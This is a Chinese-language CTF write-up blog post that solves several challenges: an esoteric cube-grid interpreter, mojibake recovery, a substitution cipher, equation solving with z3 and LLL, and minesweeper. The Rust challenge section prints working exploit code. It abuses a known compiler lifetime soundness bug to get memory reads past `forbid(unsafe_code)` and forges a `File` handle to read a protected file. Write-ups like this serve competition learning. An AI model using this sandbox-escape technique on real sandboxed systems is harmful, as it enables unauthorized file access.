 y8: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
 y9: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y10: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y11: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y12: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y13: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y14: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y15: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
z = 10 到 14 全是和上面一样空的,这里删掉了
z = 15
 y0: jx+ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jy+
 y1: ___ jx+ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jy+ ___
 y2: ___ ___ jx+ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jy+ ___ ___
 y3: ___ ___ ___ jx+ ___ ___ ___ ___ ___ ___ ___ ___ jy+ ___ ___ ___
 y4: ___ ___ ___ ___ jx+ ___ ___ ___ ___ ___ ___ jy+ ___ ___ ___ ___
 y5: ___ ___ ___ ___ ___ jx+ ___ ___ ___ ___ jy+ ___ ___ ___ ___ ___
 y6: ___ ___ ___ ___ ___ ___ jx+ ___ ___ jy+ ___ ___ ___ ___ ___ ___
 y7: ___ ___ ___ ___ ___ ___ ___ jx+ hlt ___ ___ ___ ___ ___ ___ ___
 y8: ___ ___ ___ ___ ___ ___ ___ jy- ___ jx- ___ ___ ___ ___ ___ ___
 y9: ___ ___ ___ ___ ___ ___ jy- ___ ___ ___ jx- ___ ___ ___ ___ ___
y10: ___ ___ ___ ___ ___ jy- ___ ___ ___ ___ ___ jx- ___ ___ ___ ___
y11: ___ ___ ___ ___ jy- ___ ___ ___ ___ ___ ___ ___ jx- ___ ___ ___
y12: ___ ___ ___ jy- ___ ___ ___ ___ ___ ___ ___ ___ ___ jx- ___ ___
y13: ___ ___ jy- ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jx- ___
y14: ___ jy- ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ jx-
y15: jy- ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___

解释器执行这个程序:

from sys import argv

fd = open("flat.txt", "rt")
instream = fd.read().splitlines()
fd.close()

ram = [0] * 64
stack = [0] * 32
sp = 0

ram[0] = 0x24
ram[1] = 0x39
ram[2] = 0x25
ram[3] = 0x2e

onum = 0
outs = []
for ins in instream:
    addr = ins[: ins.index(":")]
    mne = ins[ins.index(":")+2:]

    if mne[0] == "I":
        sp += 1
        stack[sp] = int(mne[1:])
    elif mne == "and":
        val = stack[sp-1] & stack[sp]
        sp -= 1
        stack[sp] = val
    elif mne == "dup":
        stack[sp+1] = stack[sp]
        sp += 1
    elif mne == "hlt":
        # this is at the end
        break
    elif mne == "inc":
        stack[sp] += 1
    elif mne == "mld":
        off = stack[sp]
        val = ram[off]
        stack[sp] = val
        print(f"Readed {off} = {val}")
    elif mne == "mst":
        off = stack[sp]
        val = stack[sp-1]
        sp -= 2
        ram[off] = val
    elif mne == "out":
        out = stack[sp]
        sp -= 1
        #print(f"Output[{onum}]: {hex(out)} {out}")
        outs.append(out)
        onum += 1
    elif mne == "swp":
        stack[sp-1], stack[sp] = \
                stack[sp], stack[sp-1]
    elif mne == "xor":
        val = stack[sp-1] ^ stack[sp]
        sp -= 1
        stack[sp] = val
print("fin")

"""
should ouput
25 38 49 33 25 ..
"""

import string, base64
b64 = string.ascii_uppercase + string.ascii_lowercase + string.digits + "+/"
enc = "".join(b64[i] for i in outs)
print(base64.b64decode(enc))

分析程序易得出是从内存中取一些数进行 xor 输出,故手动枚举 ram[0:4] 初始值,直到输出 25 38 49 33 ...

再运行程序就能得到 flag 了,Simulate the earth with a cube64 cluster 确实很浪漫呢

卧槽,R!

Rust 众原友说

看 rust-lang/rust 的 issues 确实有不少 unsound 问题,但能用的不多,甚至还有的本地、playground 能通,题目不通的。

这个“高校战疫”有一个 rust 生存期 bug 导致 unsafe,甚至直接手把手教你怎么任意读:

https://miaotony.xyz/2020/03/15/CTF_2020XCTF_gxzy/gxzy-WP.pdf (关键词 rustpad)

用他一模一样的方法创建一个重合的 Vec 和 (usize, usize, usize) 随便读一个离谱的位置让程序崩溃,就能拿到 flag1

flag2 要求读取已经打开的文件,我们知道这个 fd 的值就是 3,但是操作一个 RawFd 是 unsafe 的,因此用不了

考虑直接复制一个和 main 里相同的文件进行读取。因为创建不了未初始化的 File,所以用一个 Option<&File> 指针指一下

然后是最大的问题,上面那个 PoC 拿不到 &mut ‘static 的引用(怎么说呢,使用 mut static 变量也是 unsafe)

我的方法是用 RefCell 可以更改内容的特性,把 None<&File> 改成伪造的 File,再直接读取

本地跑不通,因为他会 seek 调用,导致 seccomp 终止掉,但是远程版本可以跑通

#![forbid(unsafe_code)]
#![allow(dead_code)]
use std::boxed::Box;
use std::cell::RefCell;
use std::fs::File;
use std::io::Read;

static UNIT: &'static &'static () = &&();
fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T { v }
fn bad<'a, T>(x: &'a T) -> &'static T {
    let f: fn(_, &'a T) -> &'static T = foo;
    f(UNIT, x)
}

fn helper() -> &'static Vec<u64> {
    let x = Box::new(Vec::new());
    bad(&*x)
}

fn write_helper() -> &'static Vec<Option< &'static RefCell<u64> >> {
    let x = Box::new(Vec::new());
    bad(&*x)
}

fn addr<T>(t: &T) {
    println!("{:x}", t as *const _ as u64);
}
// see/return value at pointer
/*
unsafe fn peek<T>(t: &T) -> u64 {
    let addr = t as *const _ as u64;
    if addr < 0x10_0000u64 {
        println!("{:x}: cannot deref", addr);
        return 0;
    }
    let val = unsafe { *(t as *const _ as *const u64) };
    println!("{:x} => {:x}", addr, val);
    return val;
}
*/

pub fn run() {
    // assume file descriptor is 3
    let mut storage: [u64; 4] = [3, 0, 0, 0];
    let mut fake: [Option<&mut File>; 4] = [None, None, None, None];
    //print!("addr a: "); addr(&a[1]);
    //print!("before a:"); unsafe { peek(&*( (&a[1] as *const _ as u64 - 8) as *const u64 )); }

    let r = helper();
    let x = write_helper();
    let mut y = Box::new((0u64, 4u64, 4u64));
    print!("addr y: "); addr(&y.0);
    print!("addr r: "); addr(r);
    print!("addr x: "); addr(x);

    let rc: [u64; 4] = [&fake[0] as *const _ as u64, 0, 0, 0];
    y.0 = &rc[0] as *const _ as u64;
    
    let option = x[0];
    if let Some(rc) = option {
        println!("got {:x}", *rc.borrow());
        *rc.borrow_mut() = &storage[0] as *const _ as u64;
        println!("got {:x}", *rc.borrow());
    }

    if let Some(file) = &mut fake[1] {
        println!("success");
        let mut b: Vec<u8> = Vec::new();
        file.read_to_end(&mut b).expect("fail");
        println!("{}", std::str::from_utf8(&b).unwrap());
    }
}

381654729

这个被称作 Polydivisible number,有现成的 python 代码可以全部算出来,数量还是挺多的

从大往小了代入这种数字的的值到程序中验证是不是 flag

乱码还原

萓ッ髟ソ豎�

与佛论禅,AES 加密将结果的字节编码成汉字。题中的 UTF-8 字符被解读为 shift_jis,再重新编码回 UTF-8

flag1 由于码量不是很多,虽然是有损的,可以写诸如尝试添加两个字、三个字的函数,再转换对比,能完全还原原文

flag2 就很谔谔了,我手动还原了一些,10 次 encode 和前三个字都确定了,实在不想做了

奇怪的加密

开头一眼 Cryptography is a,通过 4 位数字年份和 159 15.9 数字可以锁定文本来源:

https://www.lancaster.ac.uk/media/lancaster-university/content-assets/documents/cyber-foundry/Cryptography.pdf

因为已经有大量原文,有一个最简单不用动脑的方法,统计文本里面同一个字母重复两次的地方,比如 leTTer coMMunication diFFerent 之类还是很多的,这些密文能告诉我们密钥置换的规律

可以得出 21 个已知的映射,其中 d 映射到它自己,再查看原文发现 v 也映射到自己

u, j 互相映射,还剩下 e, f 和 f, m 没有确定,由于 f 不映射到自己,只能 f -> m, e -> f,这样密钥确定了,解密原文

其中有一个 NATO 字母表拼写的 flag

flag2 搜索连续的数字发现是 md5,md5 正好 32 位

制作全 ascii 的 md5(其中 a-f 全部替换掉)查表,只能解密一部分,根据已经解密的内容推测,有多个字母被映射到一个 md5 里

再制作两个字符的表进行解密,虽然没解完,但是能解出 flag

方程组

第一个是正定方程,解一下再 round -> chr -> join 得到 flag

第二个少 10 个变量,已知 flag{} 还缺少 4 个变量

from decimal import *
getcontext().prec=15

L = 28
S = Solver()
p = primes[:L]

for i in range(L-10):
    s = 0.0
    for j in range(L):
        s += float(Decimal(p[j]).sqrt() * 10 ** 10) * ff[j]
    S.add(s == o2[i])
    p = [p[-1]] + p[:-1]

def fix(i, c):
    global S
    S.add(ff[i] == float(ord(c)))

fix(0, "f")
fix(1, "l")
fix(2, "a")
fix(3, "g")
fix(4, "{")
fix(5, "y")
fix(6, "0")
fix(7, "u")
fix(8, "_")
fix(L-1,"}")

for i in range(1, L-1):
    S.add(ff[i] < ord("}")-0.5)
    S.add(ff[i] > ord("0")-0.5)

S.check()

通过乱搞舍入以及调整变量范围可以稍微看出来 flag 的形状,比如括号里面第 4 和 8 位是 _,补上缺少的限制就能得出 flag

flag3 LLL 求整数关系就行

primes=[2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271]
sout = "25800.359843622375482317741765092423108740749704076506674391637220601256480076793833725266596491145653469234638681214279142266384627498702292519864562549230222347690184575651985867669548991937988156542"

from decimal import Decimal, getcontext
getcontext().prec = int(200)

sint = int(sout.replace(".", ""))
decimal_places = len(sout) - 6
big = 10^decimal_places

def problem(l):
    B = []
    for i in range(l):
        v = [0] * (l+1)
        v[i] = 1
        v[-1] = int( Decimal(int(primes[i])).sqrt() * int(big) )
        B.append(v)
    B.append([0] * l + [sint])

    L = matrix(B).LLL()
    s = L[0][:-1]
    if all(abs(x) < 256 for x in s):
        print("found:", s)

for l in range(1,40):
    problem(l)

扫雷

flag1 用 go 写一个暴力求解的,生成 clickbutton(x,y) 序列输入到开发者工具控制台里面点亮所有安全的

归根到底还是 cli 交互,剩下的两个没看,鸽了


Newer: Real World CTF 5th writeup

Older: USTC Hackergame 2022 writeup

Back to: Listing G2R